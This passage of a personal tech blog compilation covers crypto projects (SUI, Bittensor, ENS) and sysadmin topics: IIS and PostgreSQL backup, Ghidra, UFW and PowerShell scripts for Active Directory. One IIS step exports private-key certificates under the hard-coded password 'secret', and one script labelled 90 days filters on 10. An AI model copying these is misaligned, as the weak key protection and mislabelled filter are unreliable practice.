(PoS): SUI, ağı güvence altına alan doğrulayıcılara (validator) delege edilerek pasif gelir (staking ödülü) elde etmek için kullanılır. Gas Ücretleri: Ağdaki tüm işlemlerin (transfer, akıllı sözleşme) ücretleri SUI ile ödenir. Depolama Fonu: Ağa kalıcı veri yüklemenin maliyeti SUI ile ödenir ve fona kilitlenir. Yönetişim: SUI sahipleri, protokolün gelecekteki yükseltmeleri ve değişiklikleri üzerinde oy hakkına sahiptir. Token Arzı ve Dağılımı (Ekonomik Gerçeklik) Maksimum Arz (Hard Cap): 10.000.000.000 SUI (10 Milyar). Mevcut Arz: Şu anda ~2.3 Milyar SUI dolaşımdadır. Token Dağılımı (Kritik Gerçek - VC Ağırlığı): SUI, Kaspa gibi “adil başlangıç” (fair launch) bir proje değildir. Aksine, Risk Sermayesi (VC) ve ekip ağırlıklı bir dağılıma sahiptir: %50.0 Topluluk Rezervi (Sui Foundation tarafından yönetilir - Staking sübvansiyonları, delegasyon programları vb. için). %20.0 İlk Katkıda Bulunanlar (Ekip - Mysten Labs). %14.0 Yatırımcılar (VC’ler). %10.0 Mysten Labs Hazinesi. %6.0 Topluluk Erişim Programı (Binance Launchpool vb. ile dağıtıldı). Tokenomik Gerçeklik (Kilit Açılışları): Bu dağılımın en belirgin sonucu, Ekip (%20) ve Yatırımcı (%14) paylarının çok büyük bir kısmının hâlâ kilitli (vesting) olmasıdır. Bu kilitler, 2030 yılına kadar aylık olarak açılmaya devam etmektedir. Bu durum, proje ne kadar başarılı olursa olsun, dolaşımdaki arz üzerinde sürekli ve öngörülebilir bir enflasyonist baskı (sell pressure - satış baskısı) yaratmaktadır. Her ay piyasaya giren milyonlarca yeni SUI token’ı, fiyatın yükselmesinin önündeki en büyük ekonomik engeldir. Gelecek Beklentisi: Parlak Teknolojiye Karşı Güçlü Ekonomik Rüzgarlar Sui’nin geleceği, parlak teknolojisi ile bu zorlu tokenomiği arasındaki bir denge mücadelesine bağlıdır. Projenin Güçlü Yanları (Potansiyel): Teknolojik Üstünlük: Sui’nin “nesne odaklı” paralel işlem mimarisi, teknik olarak Ethereum L2’lerinden ve hatta Solana’dan daha gelişmiş bir yaklaşım sunar. Web3 Oyun (Gaming) ve Dinamik NFT’ler: Sui’nin mimarisi, varlıkların (NFT’ler) zincir üzerinde karmaşık şekillerde (örn. bir oyundaki zırhın seviye atlaması) değişmesi için mükemmeldir. Bu, onu yeni nesil Web3 oyunları için ideal bir platform yapar. Güçlü Ekip ve Finansman: Arkasındaki Mysten Labs ekibi (eski Meta mühendisleri) birinci sınıftır ve projeyi geliştirmek için yüz milyonlarca dolar fon toplamışlardır. Projenin Önündeki Engeller (Zorluklar): Sürekli Arz Enflasyonu: Yukarıda bahsedilen devam eden kilit açılışları, SUI üzerinde devasa bir satış baskısı yaratmaktadır. SUI’nin fiyatının uzun vadede dayanabilmesi için, bu satış baskısını emebilecek olağanüstü bir benimsenme ve talep yaratması şarttır. Yoğun Rekabet: Sui, bu teknoloji yarışında yalnız değil. Doğrudan rakibi ve “Diem ikizi” olan Aptos ile rekabet halindedir. Ayrıca, yüksek hız pazarında yerleşik bir dev olan Solana ve muazzam bir likiditeye sahip Ethereum L2 Ekosistemi (Arbitrum, Optimism vb.) gibi devasa rakipleri vardır. Sonuç Sui (SUI), teknolojik olarak yeni nesil blockchain tasarımının zirvesini temsil etmektedir. “Nesne odaklı” mimarisi, paralel işlem yürütme yeteneği ve Move dilinin güvenliği, onu kağıt üzerinde “internetin ölçeklenebilirlik katmanı” olmak için mükemmel bir aday yapar. Ancak, bu teknolojik potansiyel, projenin ağır ve uzun vadeli ekonomik gerçekleriyle (VC ve ekip token kilitlerinin sürekli açılması) bir denge mücadelesi içindedir. SUI’ye yatırım yapmak, teknolojinin, bu zorlu ve sürekli ekonomik satış baskısına galip geleceğine dair yapılmış yüksek riskli bir bahistir. --- ## IIS Server Backup and Restore Link: https://farukguler.com/posts/iis-backup-amp-restore/ IIS (Internet Information Services) running on Windows Server is a preferred web server platform with its reliability and wide configuration options. However, it is very important to back up IIS configurations securely and restore them quickly when necessary against risks such as configuration errors, system crashes or cyber threats. In this article, we will discuss how to perform IIS backup and restore operations and why it is a critical step. #IIS Version Check:#PSget-itemproperty HKLM:\SOFTWARE\Microsoft\InetStp\ | select setupstring,versionstring #Storage for IIS published sites [Move to new server]C:\inetpub\C:\inetpub\wwwrootC:\My_Web_page\ #Storage of System files and Administrative tools required for IIScd %windir%\system32\inetsrv #Backup current IIS Certificates:**Before restoring IIS, move any SSL certificates you are using to the new server#PSnetsh http show sslcertnetsh http show sslcertdir cert:\localmachine\my | Where-Object { $_.hasPrivateKey } | Foreach-Object { [system.IO.file]::WriteAllBytes("C:\Windows\IIS_BCK\$($_.Subject).pfx",($_.Export('PFX', 'secret')) ) } #Management for the IIS appcmd tool:cd %windir%\system32\inetsrvappcmd list backupappcmd list siteappcmd list site demoappcmd list config #Backup:Appcmd add backup ANS_yedek1#Backup-WebConfiguration -Name ANS_yedek1 [PS]#Restore:appcmd list backup [list backups]Appcmd restore backup ANS_yedek1Appcmd restore backup /stop:true ANS_yedek1 #stop IIS Service and backupRestore-WebConfiguration -Name ANS_yedek1 [PS] Öğrenmeye aç kalın – Be hungry to learn --- ## Ghidra NSA'nın Tersine Mühendislik Araç Seti Link: https://farukguler.com/posts/ghidra-nedir/ Ghidra, Amerika Birleşik Devletleri Ulusal Güvenlik Ajansı (NSA) tarafından geliştirilen ücretsiz ve açık kaynaklı bir tersine mühendislik aracıdır. Ghidra, ikili dosyaları (örneğin, çalıştırılabilir dosyaları veya kütüphaneleri) analiz etmek ve içerdikleri montaj kodunu anlamak için kullanılır. Bu, yazılımın nasıl çalıştığını anlamak, güvenlik açıklarını tespit etmek, zararlı yazılımları incelemek ve benzeri görevleri yerine getirmek için önemli bir araç haline gelmesini sağlar. Ghidra, siber güvenlik araştırmacıları, tersine mühendislik uzmanları ve beyaz şapkalı hackerlar tarafından yaygın olarak kullanılmaktadır. IDA Pro gibi diğer tersine mühendislik araçlarına benzer özelliklere sahip olmasına rağmen, Ghidra'nın ücretsiz olması, bu tür araştırmacılar için çekici bir seçenek haline getirmiştir. Yazılım, Java programlama dilinde yazılmıştır ve GUI (Grafik Kullanıcı Arayüzü) için Swing framework'ünü kullanır. Ayrıca, Ghidra'nın decompiler bileşeni C++ dilinde yazılmıştır ve bağımsız olarak kullanılabilir. Ghidra'nın güçlü yanlarından biri, analiz işlemlerini otomatikleştirmek için Java veya Python (Jython üzerinden) dillerinde betikler yazabilme yeteneğidir. Ayrıca, topluluk eklentileri aracılığıyla farklı programlama dilleri için destek sağlanmaktadır. Ghidra'nın tarihçesi, Vault 7 sızıntısı aracılığıyla 2017'de kamuoyuna duyurulduğu zamanlara kadar uzanmaktadır. Ancak, yazılımın resmi olarak kullanılabilir hale gelmesi ve sınıflandırmanın kaldırılması iki yıl sonra gerçekleşti. --- ## PostgreSQL WAL Backup & Restore Link: https://farukguler.com/posts/PostgreSQL-WAL-Backup-Restore/ WAL Nedir? (Write-Ahead Logging) WAL, veritabanı işlemlerinin güvenilirliğini sağlamak için verilerin disk üzerinde kaydedilmeden önce bir günlük dosyasında (WAL dosyası) yazılmasını sağlayan bir mekanizmadır. Bu yaklaşım, veri kaybını minimize etmek ve veri tabanının beklenmedik kapanmalar sonrası eski durumuna geri yüklenebilmesini sağlamak amacıyla kullanılır. WAL Yedekleme (Backup) a: Archive Mode'u Etkinleştirme WAL dosyalarını yedeklemek için ilk adım, archive_mode'u etkinleştirmektir. PostgreSQL’in konfigürasyon dosyasını açın. Genellikle /etc/postgresql/<version>/main/postgresql.conf konumundadır. wal_level = replica archive_mode = on archive_command = 'cp %p /path/to/archive/directory/%f' wal_level = replica: WAL düzeyini 'replica' olarak ayarlar. archive_mode = on: Arşivleme modunu etkinleştirir. archive_command: Her yeni WAL dosyası oluşturulduğunda çalışır. %p kaynak dosyanın yolunu, %f hedef dosyanın adını temsil eder. Bu komut ile WAL dosyaları belirtilen arşiv dizinine kopyalanır. b: Arşiv Dizini Oluşturma PostgreSQL, WAL dosyalarını otomatik olarak arşivleyecektir. Ancak, arşivleme işleminin düzgün çalıştığını kontrol etmek için log dosyalarını inceleyebilirsiniz. Log dosyaları genellikle şu konumda bulunur: /var/log/postgresql/postgresql-<version>-main.log Arşiv dosyalarını saklayacağınız bir dizin oluşturun: mkdir -p /path/to/archive/directory c: PostgreSQL Sunucusunu Yeniden Başlatma Yapılandırma dosyasındaki değişikliklerin etkinleştirilmesi için PostgreSQL'i  yeniden başlatın: sudo systemctl restart postgresql WAL Geri Yükleme (Restore) a: Veritabanını Kapatma PostgreSQL sunucusunu kapatın: sudo systemctl stop postgresql b: recovery.conf Dosyasını Oluşturma PGDATA dizininde (/var/lib/postgresql/data gibi) bir recovery.conf dosyası oluşturun ve aşağıdaki içeriği ekleyin: restore_command = 'cp /path/to/archive/directory/%f %p' recovery_target_time = '2024-10-26 22:00:00' restore_command: WAL dosyalarını belirtilen arşiv dizininden kopyalar. recovery_target_time: Belirli bir tarihe kadar olan tüm verileri geri yükler. c: Veritabanını Başlatma PostgreSQL sunucusunu tekrar başlatın sudo systemctl start postgresql Notlar: PostgreSQL Versiyonu: PostgreSQL 12 ve sonrası sürümlerde recovery.conf dosyası yerine recovery.signal dosyası kullanılır. Tam Yedekleme ile Kullanım: WAL arşivlemeyi tam yedeklemelerle birlikte kullanmak en iyi uygulamadır. İzinler: WAL dosyalarının saklandığı dizinlerin PostgreSQL kullanıcısının erişim iznine sahip olduğundan emin olun. --- ## Bittensor (TAO) Nedir? Link: https://farukguler.com/posts/bittensor-tao-nedir/ Bittensor (TAO), geleneksel bir Layer 1 blockchain’i değildir. O, dünya çapındaki yapay zeka (AI) ve makine öğrenimi (ML) modellerini birbirine bağlayan, merkeziyetsiz bir teşvik ağıdır. Temel amacı, yapay zekayı tek bir şirketin (OpenAI, Google vb.) kontrolünden çıkarıp, küresel, açık kaynaklı ve “permissionless” (izinsiz) bir “pazaryeri” veya “dijital akıl kovanı” yaratmaktır. Bittensor’un felsefesi basittir: Bitcoin, madencileri “iş kanıtı” (Proof-of-Work) ile güvence altına aldıkları ağ için ödüllendirir. Bittensor ise, “akıl kanıtı” (veya “zekâ kanıtı” - Proof-of-Intelligence) ile ağa en iyi istihbaratı/tahmini/cevabı sağlayan yapay zeka modellerini (madencileri) ödüllendirir. “Yapay Zeka Problemi”: Bittensor Neyi Çözmeyi Amaçlıyor? Günümüzde yapay zeka, birkaç dev teknoloji şirketi (OpenAI, Google, Anthropic vb.) tarafından domine edilmektedir. Merkezileşme: En iyi modeller (GPT-4, Claude 3) bu şirketlerin “kapalı bahçeleri” (walled gardens) içindedir. Maliyet ve Sansür: Bu modellere erişim pahalıdır ve bu şirketlerin belirlediği sansür kurallarına tabidir. Engellenen İnovasyon: Bağımsız geliştiricilerin veya daha küçük modellerin bu devlerle rekabet etmesi neredeyse imkansızdır. Bittensor, yapay zekayı “metalaştırmayı” (commoditize) hedefler. Tıpkı internetin (TCP/IP) bilgiyi serbest bırakması gibi, Bittensor da “aklı” serbest bırakmak ve herkesin katkıda bulunabileceği veya erişebileceği tek bir global ağ oluşturmak ister. Bittensor Nasıl Çalışır? (Subnet Mimarisi) Bittensor’u anlamanın anahtarı, “tek bir dev AI” olmadığını, bunun yerine “Subnet” (Alt Ağ) adı verilen yüzlerce (veya binlerce) küçük yarışma arenasından oluştuğunu bilmektir. 1. Subnets (Alt Ağlar): Rekabetin Kalbi Her bir Subnet, belirli bir yapay zeka görevi için oluşturulmuş özel bir pazardır. Subnet 1: Metin oluşturma (ChatGPT gibi) Subnet 2: Görüntü oluşturma (Midjourney gibi) Subnet 3: Finansal piyasa tahmini Subnet 4: Veri depolama Subnet 32: Kod yazma Herkes kendi Subnet’ini (kendi rekabet alanını) yaratabilir. 2. Subnet’teki Roller: Madenciler ve Doğrulayıcılar Her Subnet’in iki ana katılımcısı vardır: Miners (Madenciler - “İşçiler”): Bunlar, bir yapay zeka modelini çalıştıran sunuculardır (kişiler veya şirketler). Subnet’in görevini (örn. “bana bir kedi resmi çiz” veya “yarınki BTC fiyatını tahmin et”) yerine getirmek için yarışırlar. En iyi, en doğru ve en hızlı cevabı vermeye çalışırlar. Validators (Doğrulayıcılar - “Yargıçlar”): Bunlar, Subnet’teki madencilerin işlerini denetleyen ve puanlayan düğümlerdir. Sürekli olarak madencilere görevler (prompts/queries) gönderirler. Gelen cevapları (örn. 100 farklı madenciden gelen 100 farklı kedi resmi) değerlendirir ve hangisinin en iyi olduğuna karar verip onları sıralarlar. 3. Konsensüs: “Proof-of-Intelligence” İşte Bittensor’un dehası burada ortaya çıkar: Madenciler en iyi olmak için yarışır, Doğrulayıcılar ise en iyi yargıç olmak için yarışır. Tüm doğrulayıcıların sıralamaları toplanır ve ağın “Yuma Consensus” (veya temelindeki “Proof-of-Intelligence”) mekanizması aracılığıyla bir “meta-konsensüs” oluşturulur. Günün sonunda, hem en akıllı cevabı veren madenciler hem de bu akıllı cevapları en doğru şekilde tespit eden doğrulayıcılar, ağın günlük TAO emisyonundan pay alırlar. Bu, “en akıllı olanın” (hem işçi hem yargıç) finansal olarak ödüllendirildiği, sürekli kendini geliştiren bir “Darwinist” geri bildirim döngüsü yaratır. TAO Token’ı Ne İşe Yarar? (Akıl Ekonomisi) TAO, Bittensor ekosisteminin can damarıdır ve çok yönlü bir işleve sahiptir. Bitcoin’e bir gönderme olarak maksimum arzı 21 Milyon adet ile sınırlandırılmıştır ve tıpkı Bitcoin gibi bir “halving” (yarılanma) takvimine sahiptir. TAO token’ının üç ana işlevi vardır: Erişim ve Ödeme (Access / Payment): Bir uygulamanın (örn. kendi özel chatbot’unuzun) Bittensor ağındaki bu devasa “beyin gücünü” kullanması için (örn. Subnet 2’den resim istemesi için) TAO ile ödeme yapması gerekir. Bu, token için temel ekonomik talebi yaratır. Staking ve Güvenlik (Staking / Security): TAO, bir Proof-of-Stake (PoS) sistemine benzer şekilde çalışır. Bir Doğrulayıcı (Yargıç) olabilmek ve puanlama yaparak TAO kazanabilmek için, yüksek miktarda TAO stake etmeniz (kilitlemeniz) gerekir. Stake ettiğiniz miktar, sizin “puanlama gücünüzü” (influence/consensus weight) belirler. Normal kullanıcılar (TAO sahipleri), güvendikleri Doğrulayıcılara kendi token’larını “delegate” (vekaleten stake) ederek, o doğrulayıcının kazandığı ödüllerden pay alabilirler. Kayıt ve Sybil Direnci (Registration): Bir Madenci (İşçi) olarak bir Subnet’e katılmak ve rekabete girmek için, TAO token’ı kilitlemeniz (ve bu token’lar yavaşça yakılır) gerekir. Bu, ağa yönelik spam (Sybil) saldırılarını engeller ve sadece ciddi katılımcıların “madenci” olabilmesini sağlar. Sonuç Bittensor (TAO), sadece “yapay zeka coin’i” değil, kripto tarihindeki en iddialı ekonomik ve teknolojik deneylerden biridir. Amacı, yapay zekayı kapalı sunuculardan çıkarıp, onu tıpkı Bitcoin’in “güveni” metalaştırdığı gibi, “aklı” (intelligence) metalaştıran, açık, izinsiz ve küresel bir pazara dönüştürmektir. Başarılı olursa, Bittensor, binlerce farklı yapay zeka modelinin rekabet ettiği ve işbirliği yaptığı, sürekli öğrenen, merkeziyetsiz ve küresel tek bir “beyin” yaratabilir. --- ## Bulk Change AD User Login Name with powershell Link: https://farukguler.com/posts/Bulk-Change-User-LogonName-in-AD/ # Active Directory Module Install#Import-Module ActiveDirectory# CSV file:$kullanicilar = Import-Csv -Path "C:\news.csv"# Domain name:$domain = "guler.com"# Logon Name Update:foreach ($kullanici in $kullanicilar) { $oldUsername = $kullanici.old_username $newLogonName = $kullanici.new_username if ($oldUsername -and $newLogonName) { try { # User find and update: $user = Get-ADUser -Identity $oldUsername -ErrorAction Stop $newUserPrincipalName = "$newLogonName@$domain" Set-ADUser -Identity $user -UserPrincipalName $newUserPrincipalName -SamAccountName $newLogonName -ErrorAction Stop Write-Host "$oldUsername için $newUserPrincipalName olarak güncellendi." } catch { Write-Host "$oldUsername için hata oluştu: $_" } } else { Write-Host "Hata: Boş veya geçersiz kullanıcı adı tespit edildi. old: '$oldUsername', new: '$newLogonName'" }} When you change a user's samAccountName in Active Directory, the user's SID (Security Identifier) ​​and GUID (Globally Unique Identifier) ​​do not change. At the end of this process the following Attributes will be changed: msDS-Principalname sAMAccountName userPrincipalName mailNickname(*If there is an Exchange) --- ## AD Domain Affiliation Check PowerShell Link: https://farukguler.com/posts/domain-affiliation-check-powershell/ Enabling PowerShell Remoting: In order to use PowerShell Remoting, the Enable-PSRemoting -Force command must be run on each computer. This command makes the necessary settings to establish and manage remote PowerShell sessions. Firewall Settings: In firewalls such as Windows Firewall, rules must be created that allow PowerShell Remoting traffic. Otherwise, remote connections may fail. Permissions: You must have the necessary permissions to run this script. In particular, you must have permission to read computer objects in Active Directory (to be able to run the Get-ADComputer command) # Get computers in OU$computers = Get-ADComputer -SearchBase "OU=uyeler,DC=guler,DC=com" -Filter * | Select-Object -ExpandProperty Name# Check every computerforeach ($computer in $computers) { try { $session = New-PSSession -ComputerName $computer -ErrorAction Stop Remove-PSSession $session Write-Host "${computer}: Connected to Domain" } catch { Write-Host "${computer}: Not connected to Domain" }} --- ## User last logon on in 90 days in Active Directory Link: https://farukguler.com/posts/user-last-logon-on-in-90-days-in-active-directory/ Hello, As a system administrator, it is important to track the last logon timestamps of Active Directory (AD) user accounts, ensure network security, and review old and inactive users. In this article, I will explain the differences between attributes such as LastLogon, LastLogonTimeStamp, and what LastLogonDate is, and how to obtain this information. ✅ LastLogon: ***This value is used to determine the exact logon time. However, it is not replicated across other domain controllers, which requires checking for each DC. Because users may have logged in to different DCs. This attribute is updated instantly with each logon. 🚫 LastLogonTimeStamp: This value is an attribute in Active Directory that allows tracking user logon information more centrally. This value is not updated immediately for each logon. (Default is updated with a delay of 9-14 days) However, it is replicated among other domain controllers and becomes a common source of information among all DCs. *** However, it cannot be used to determine the exact logon time! 📜 LastLogonDate: LastLogonDate is not an attribute! It is the conversion of LastLogonTimeStamp from raw format to a readable date format using PowerShell. You cannot access this data directly from the Active Directory management interface, but you can read the data using PowerShell. Sample Raw Format: 133720509101693344 etc. 📌 The following scripts are only used for user accounts. If you want to use them on computer accounts, you need to change Get-ADUser to Get-ADComputer. 🎯LastLogonDate Check: #All Users:Get-ADUser -Filter * -Properties lastLogon | Select name, surname, samaccountname, @{Name="lastLogon";Expression={[datetime]::FromFileTime($_.'lastLogon')}}#Spesfic OU:Get-ADUser -Filter {Enabled -eq $true} -SearchBase "OU=uyeler,DC=guler,DC=com" -Properties LastLogon | Select-Object -Property SamAccountName, Name, Surname, @{n="LastLogonDate"; e={[datetime]::FromFileTime($_.LastLogon)}}#Spesific User:Get-ADUser -Identity "hakan" -Properties “LastLogon” | Select Name, @{N=’LastLogon:’; E={[DateTime]::FromFileTime($_.LastLogon)}}#90 days LastLogondate:$When = ((Get-Date).AddDays(-10)).ToFileTime()Get-ADUser -Filter * -SearchBase "OU=personel,DC=guler,DC=com" -Properties samaccountname, givenName, surname, lastLogon | Where-Object { $_.lastLogon -lt $When -and $_.lastLogon -ne $null } |Select-Object name, surname, samaccountname, @{Name="lastLogon"; Expression={[datetime]::FromFileTime($_.'lastLogon')}}#90 days LastLogondate Disabled:$When = ((Get-Date).AddDays(-90)).ToFileTime()Get-ADUser -Filter * -SearchBase "OU=personel,DC=guler,DC=com" -Properties samaccountname, givenName, surname, lastLogon |Where-Object { $_.lastLogon -lt $When -and $_.lastLogon -ne $null } |ForEach-Object { Disable-ADAccount -Identity $_.samaccountname }---NOTE:#Users who have never logged in [12/31/1600 4:00:00 PM]SamAccountName Name Surname LastLogonDate -------------- ---- ------- -------------yasin yasin gencer 12/31/1600 4:00:00 PMmert mert 12/31/1600 4:00:00 PMesin esin yildiz 12/31/1600 4:00:00 PM 🔀Multi DC's Spesific User LastLogonDate Check: foreach ($dc in Get-ADDomainController -Filter *) { $user = Get-ADUser "hakan" -Server $dc.HostName -Properties LastLogon [PSCustomObject]@{ Domain = $dc.HostName Name = $user.Name LastLogon = if ($user.LastLogon) { [DateTime]::FromFileTime($user.LastLogon) } else { [DateTime]::FromFileTime(0) }}} 🔍LastLogonTimeStamp Check: ***NOTE: Cannot be used to determine exact login time! #Spesfic OU:Get-ADUser -Filter {Enabled -eq $true} -SearchBase "OU=uyeler,DC=guler,DC=com" -ResultPageSize 0 -Properties lastLogonTimestamp | Select-Object samaccountname, name, surname, @{n="lastLogonTimestamp";e={[datetime]::FromFileTime($_.lastLogonTimestamp)}}#Spesific User:Get-ADUser -Identity "hakan" -Properties LastLogondate | Select-Object -Property Name, LastLogonDate#90 days LastLogonTimeStamp:Get-ADUser -Filter {enabled -eq $true} -SearchBase "OU=uyeler,DC=guler,DC=com" -SearchScope Subtree -Properties SamAccountName, Name, Surname, lastLogonTimeStamp | Select-Object SamAccountName, Name, Surname, @{Name="lastLogonTimeStamp"; Expression={[datetime]::FromFileTime($_.lastLogonTimeStamp)}}#90 days LastLogonTimeStamp Disabled:$When = (Get-Date).AddDays(-90).ToFileTime()Get-ADUser -Filter * -SearchBase "OU=personel,DC=guler,DC=com" -Properties SamAccountName, LastLogonTimestamp | Where-Object { $_.LastLogonTimestamp -lt $When -or $_.LastLogonTimestamp -eq $null } |ForEach-Object { Disable-ADAccount -Identity $_.DistinguishedName } 📌📌📌 Users who have never logged in will not be found in searches, you can change this if you want. Find active users under specific OUs: -Filter {Enabled -eq $true} Get-ADUser -Filter {Enabled -eq $true} -SearchBase "OU=personel,DC=guler,DC=com" -Properties SamAccountName | Select-Object SamAccountName, Name, Surname 📝Data Exporting: | Export-Csv -Path "C:\Users_report.csv" -NoTypeInformation Stop stealing labor! because time and sweat are inestimable. #TheGuler --- ## Uncomplicated Firewall Overview [UFW] Link: https://farukguler.com/posts/ufw-uncomplicated-firewall/ UFW was developed as an open source firewall by Canonical's security team in 2008. UFW communicates with netfilter running in the Linux kernel to manage iptables in the background, which routes network packets. For the user, UFW simplifies the complex process of configuring iptables by providing a simplified interface and commands. These configurations are translated into iptables in the background. There is also a fork called Gufw that uses a graphical interface. Source Code: https://launchpad.net/ufw Alternatives: Iptables OPNsense Firewalld PFsense Gufw Firewall IPFire .etc #apt install ufwufw versionufw status verboseufw status numbered #[The first added rule is valid first]ufw insert 1 allow from 192.168.1.200 to any port 443 #[Define primacy rule]#Default UFW Policiesufw default deny incoming #[Block incoming rules]ufw default allow outgoing #[Allow outgoing rules]#[UFW Management]ufw enableufw disableufw deny 21 #[Spesific Services Ports]ufw deny ftpufw allow 22ufw allow sshufw app list #[Service based]ufw allow “LDAPS”cat /etc/services#Rate Limitingufw limit ssh/tcp comment 'Limit of 6 connection per minute'ufw allow 8080 comment 'ISS Delete on Friday' #[Add Comment]ufw allow 3000:3100/tcp #[Port Range/Protocol]ufw delete allow 22 #[Delete Rule]ufw delete allow 22/TCPufw allow from 10.5.25.85 #[Spesific ip All Allow]ufw delete allow from 10.5.25.85 #[Delete Rule]ufw deny from 10.5.10./24 #[Subnets Deny/Allow]ufw deny in on eth0 from 10.5.10.10 #[Network Interface Deny/Allow]ufw default allow forward #[Allow gateway Forwarding]#UFW Configuration:/etc/ufw/before.rules/etc/default/ufwufw logging on #[UFW Logging On/Off]/var/log/messages/var/log/syslogsystemctl enable ufw #[Service Management]systemctl disable ufwsystemctl restart ufw#ufw reset #[Factory Reset and Backup] Hey man, to say you learned something, you have to dig deeper! --- ## ENS (Ethereum Name Service) Nedir? Blockchain'in Alan Adı Sistemi Link: https://farukguler.com/posts/ens-ethereum-name-service/ Ethereum Name Service (ENS), Ethereum blockchain’i üzerine kurulu, dağıtık, açık ve genişletilebilir bir isimlendirme sistemidir. Temel amacı, internetin Alan Adı Sistemi’nin (DNS - Domain Name System) yaptığı gibi, insanların okuması zor olan makine tarafından okunabilir tanımlayıcıları (Ethereum adresleri gibi 0x... ile başlayan uzun karakter dizileri) insan tarafından okunabilir isimlere dönüştürmektir. En popüler kullanımı, karmaşık Ethereum cüzdan adreslerini, vitalik.eth veya farukguler.eth gibi .eth uzantılı, hatırlanması kolay isimlere bağlamaktır. ENS, sadece cüzdan adreslerini basitleştirmekle kalmaz; aynı zamanda merkeziyetsiz web sitelerine, kullanıcı profillerine ve diğer blockchain adreslerine de işaret edebilen çok yönlü bir Web3 kullanıcı adı standardı sunar. ENS, bu sistemin yönetişim token’ıdır. ENS’in Çözdüğü Problem: Kullanıcı Deneyimi (UX) Engeli Blockchain teknolojisinin ana akım olarak benimsenmesinin önündeki en büyük engellerden biri, kullanıcı deneyiminin (UX) karmaşıklığıdır. Özellikle de cüzdan adresleri: Uzun ve Anlaşılmaz: 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B gibi bir adresi ezberlemek veya hatasız yazmak neredeyse imkansızdır. Hata Riski: Birine kripto para gönderirken adreste tek bir karakter hatası yapmak, fonların kalıcı olarak kaybolmasına neden olabilir. İnternetin ilk günlerinde IP adreslerini (192.168.1.1) hatırlamak yerine google.com gibi alan adlarını kullanmaya başlamamız gibi, ENS de Web3’ü kullanıcı dostu hale getirmek için benzer bir çözüm sunar. ENS Nasıl Çalışır? (Akıllı Sözleşme Mimarisi) ENS, doğrudan Ethereum blockchain’i üzerinde çalışan bir dizi akıllı sözleşmeden oluşur. İki ana bileşeni vardır: 1. ENS Registry (Kayıt Defteri) Bu, sistemin temel taşıdır. Hangi alan adının (.eth ismi) kime ait olduğunu ve bu adın hangi “Resolver”a (Çözücü) işaret ettiğini kaydeden ana akıllı sözleşmedir. Kayıt Defteri oldukça basittir ve nadiren güncellenir. 2. Resolvers (Çözücüler) Bunlar, asıl “çeviri” işini yapan akıllı sözleşmelerdir. Bir .eth adı sorgulandığında, Resolver bu ismin hangi verilere (Ethereum adresi, Bitcoin adresi, IPFS içerik karması, avatar URL’si vb.) karşılık geldiğini döndürür. Kullanıcılar, isimlerinin hangi Resolver’ı kullanacağını ve o Resolver içinde hangi kayıtları tutacağını belirleyebilirler. .eth Alan Adı Kaydı Bir .eth adı almak, geleneksel bir alan adı (.com, .net) kiralamaya benzer: Arama: Kullanıcı, istediği .eth adının (örn. mycrypto.eth) müsait olup olmadığını ENS arayüzleri (örn. app.ens.domains) üzerinden kontrol eder. Kayıt (Kiralama): Ad müsaitse, kullanıcı bu adı belirli bir süre (genellikle en az 1 yıl) için ETH ödeyerek kiralar. Kiralama ücreti, ismin uzunluğuna göre değişir (kısa isimler daha pahalıdır). Yönetim: Kiralama süresi boyunca, isim tamamen kullanıcının kontrolündedir. Süresi dolmadan yenilenmezse, isim tekrar herkesin kaydına açılır. Kaydedilen her .eth adı, teknik olarak bir NFT (ERC-721 token’ı) olarak temsil edilir. Bu, .eth adınızı OpenSea gibi pazar yerlerinde alabileceğiniz, satabileceğiniz veya transfer edebileceğiniz anlamına gelir. Cüzdan Adreslerinden Daha Fazlası: ENS’in Kullanım Alanları Bir ENS adı sadece bir Ethereum adresine işaret etmek zorunda değildir. Şunları da yapabilir: Diğer Kripto Adresleri: Bitcoin, Litecoin, Dogecoin gibi farklı blockchain adreslerinizi tek bir .eth adı altında birleştirebilirsiniz. Merkeziyetsiz Web Siteleri (dWeb): İsminizi, IPFS veya Swarm gibi merkeziyetsiz depolama ağlarında barındırılan bir web sitesinin içerik karmasına (content hash) yönlendirebilirsiniz. (Örn. mywebsite.eth adresini tarayıcınızda açmak). Profil Bilgileri: Avatarınızı, e-posta adresinizi, X/Twitter veya GitHub profilinizi ve diğer metin tabanlı bilgileri .eth adınıza ekleyebilirsiniz. Bu, merkeziyetsiz bir kimlik (Decentralized Identity - DID) oluşturmanın bir yoludur. ENS Token’ı Ne İşe Yarar? (Yönetişim ve DAO) ENS, Ethereum Name Service protokolünün yerel yönetişim (governance) token’ıdır. Maksimum arzı 100 Milyon ENS ile sınırlandırılmıştır. ENS token’ının birincil ve en önemli işlevi, protokolün merkeziyetsiz yönetimine katılmaktır. ENS DAO (Merkeziyetsiz Otonom Organizasyon) Kasım 2021’de, ENS protokolünün kontrolü, çekirdek ekibinden ENS DAO adı verilen topluluk tarafından yönetilen bir yapıya devredilmiştir. Bu geçiş, kripto tarihindeki en büyük ve en başarılı airdrop‘lardan biriyle gerçekleşti. Geçmişte .eth adı kaydetmiş olan tüm kullanıcılara, geriye dönük olarak ENS token’ları hediye edildi. ENS token sahipleri, DAO aracılığıyla şunları yapabilirler: Protokol Güncellemeleri: Protokolün nasıl geliştirileceği veya değiştirileceği konusunda teklifler sunabilir ve oy kullanabilirler. Hazine Yönetimi: DAO’nun sahip olduğu (kayıt ücretlerinden gelen) ETH ve ENS hazinesinin nasıl harcanacağına (hibeler, ekosistem projeleri vb.) karar verebilirler. Fiyatlandırma ve Parametreler: .eth isimlerinin kayıt ücretleri, kiralama süreleri gibi temel parametreler üzerinde söz sahibi olabilirler. Önemli Not: .eth isimlerini kaydetmek veya yenilemek için ENS token’ı kullanılmaz. Bu ücretler ETH ile ödenir ve DAO hazinesine gider. ENS token’ı öncelikli olarak bir yönetişim hakkı temsil eder. Ethereum Name Service (ENS), sadece bir “isim hizmeti” olmanın ötesinde, Web3’ün kullanıcı deneyimini (UX) iyileştiren ve merkeziyetsiz kimlik kavramına temel oluşturan kritik bir altyapı katmanıdır. vitalik.eth gibi basit isimler sayesinde, blockchain teknolojisini daha az korkutucu ve daha erişilebilir hale getirir. ENS DAO aracılığıyla topluluğa devredilen yönetimi ile de, merkeziyetsizlik ilkesini somutlaştıran en önemli projelerden biri olarak öne çıkmaktadır. --- ## Active Directory Delegations [Overview] Link: https://farukguler.com/posts/active-directory-some-important-delegations-overview/ Delegation is a process of transferring authority, especially in large and complex Active Directory environments. This process allows people who manage a system to give teams below them the authority to perform certain 